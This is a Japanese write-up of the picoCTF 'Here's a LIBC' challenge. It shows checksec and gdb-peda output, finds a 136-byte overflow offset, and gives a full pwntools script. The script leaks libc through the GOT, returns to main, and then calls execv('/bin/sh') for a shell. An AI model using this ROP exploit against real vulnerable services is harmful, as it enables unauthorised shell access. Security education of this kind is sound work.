ret2libc・ret2main
picoCTFのHere's a LIBC。
実行ファイル./vuln
とlibc.so.6
が与えられる(cファイル等のソースコードはない)。
奇数番目の文字を大文字に変換するプログラム。永遠と文字入力を受け付けてる。
shoebill@pwner:~/pico$ ./vuln WeLcOmE To mY EcHo sErVeR! This is a test ThIs iS A TeSt origami OrIgAmI ^C shoebill@pwner:~/pico$ ./vuln
shoebill@pwner:~/pico$ checksec vuln [*] '/home/shoebill/pico/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'.'
多量に文字を与えると"Segmentation fault"と表示されてプログラムが落ちる。buffer overflowを疑い、gdb
でリターンアドレスまでのオフセットを求める。
gdb-peda$ pattc 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATA AqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ r Starting program: /home/shoebill/pico/vuln WeLcOmE To mY EcHo sErVeR! AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA [----------------------------------registers-----------------------------------] RAX: 0x7a ('z') RBX: 0x0 RCX: 0x7ffff7af4264 (<write+20>: cmp rax,0xfffffffffffff000) RDX: 0x7ffff7dd18c0 --> 0x0 RSI: 0x7ffff7dd07e3 --> 0xdd18c0000000000a RDI: 0x1 RBP: 0x6c41415041416b41 ('AkAAPAAl') RSP: 0x7fffffffdd68 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") RIP: 0x400770 (<do_stuff+152>: ret) R8 : 0x79 ('y') ...8<... [-------------------------------------code-------------------------------------] 0x400769 <do_stuff+145>: call 0x400540 <puts@plt> 0x40076e <do_stuff+150>: nop 0x40076f <do_stuff+151>: leave => 0x400770 <do_stuff+152>: ret 0x400771 <main>: push rbp 0x400772 <main+1>: mov rbp,rsp 0x400775 <main+4>: push r15 0x400777 <main+6>: push r14 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdd68 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0008| 0x7fffffffdd70 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") ...8<... gdb-peda$ patto AAQA AAQA found at offset: 136
これより、リターンアドレスまでのオフセットが136と判明。
戦略
リターンアドレスをexecv("/bin/sh", 0)
に向けてシェルをとる。そのためにはlibcのベースアドレスを求める必要がある。さらにそのためには、複数回入力を行えるようret2mainをする。
一周目(libcのベースアドレスを求める)
rop = ROP(binf) rop.raw(b'a' * offset) rop.raw(rop.rdi) rop.raw(addr_got_puts) rop.raw(addr_puts) rop.raw(addr_main) # ret2main for the second input conn.sendlineafter('sErVeR!\n', rop.chain())
リターンアドレスをputs()
関数のアドレスに向ける。
具体的に、binf.got['puts']
をputs()
関数に与えて実行する。それでlibcにおけるputs()
関数のアドレスを取得する(このやり方は『詳解セキュコン』のp.536を参照)。
その結果からlibc.functions['puts'].address
(libc内のputs()
のオフセット)を引けばlibcのベースアドレスが求まる。
※ このやり方で注意すべきは、すでに呼ばれている関数(ここではputs()
)をターゲットにする必要がある。(まだ呼ばれていない関数のGOTは未解決のためPLT+6を指している)
ret2mainをするには、単純にmain()
関数のアドレスをROPチェーンに加える。
二周目(シェルの起動)
rop = ROP(libc) rop.raw(b'a' * offset) rop.execv(addr_libc_binsh, 0) conn.sendlineafter('sErVeR!\n', rop.chain())
オフセット分埋めて、リターンアドレスをexecv()
のアドレスにする。
rop.system()
ではうまくいかなかった。execv
に変えてやってみるテクニックは大切。
exploit
#!/usr/bin/env python3 from pwn import * bin_file = './vuln' context(os = 'linux', arch = 'amd64') binf = ELF(bin_file) addr_puts = binf.symbols['puts'] addr_main = binf.symbols['main'] addr_got_puts = binf.got['puts'] offset = 136 libc = ELF('./libc.so.6') offset_libc_puts = libc.symbols['puts'] def attack(conn, **kwargs): # libc leak rop = ROP(binf) rop.raw(b'a' * offset) rop.raw(rop.rdi) rop.raw(addr_got_puts) rop.raw(addr_puts) rop.raw(addr_main) # ret2main for the second input conn.sendlineafter('sErVeR!\n', rop.chain()) conn.recvline() addr_libc_puts = conn.recv(8)[:-2] libc.address = unpack(addr_libc_puts, 'all') - offset_libc_puts addr_libc_binsh = next(libc.search(b'/bin/sh')) # spawn a shell rop = ROP(libc) rop.raw(b'a' * offset) rop.execv(addr_libc_binsh, 0) conn.sendlineafter('sErVeR!\n', rop.chain()) def main(): conn = process(bin_file) # conn = remote('mercury.picoctf.net', 42072) attack(conn) conn.interactive() if __name__ == '__main__': main()
conn.recvuntil('\n')
はconn.recvline()
と書こうbinf.functions['hoge'].address
はbinf.symbols['hoge']
と同じだ。統一した方が見やすいな。後者の方が短い。
ソースコード(cファイル)はサーバに侵入してすなわちシェルを取ればそのディレクトリにあった。
libcが与えられて適切にコンパイルする: